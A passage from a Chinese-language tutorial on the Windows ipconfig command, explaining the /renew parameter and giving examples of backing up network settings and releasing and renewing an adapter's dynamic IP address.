为全部(或指定)适配器重新分配IP地址。此参数同样仅适用于IP地址非静态分配的网卡,通常和上文的release参数结合使用。

二、应用实例

1、备份网络设置

ipconfig /batch bak-netcfg

说明:将有关网络配置的信息备份到文件bak-netcfg中。

2、为网卡动态分配新地址

ipconfig /release 1

说明:去除网卡(适配器1)的动态IP地址。

ipconfig /renew 1

说明:为网卡重新动态分配IP地址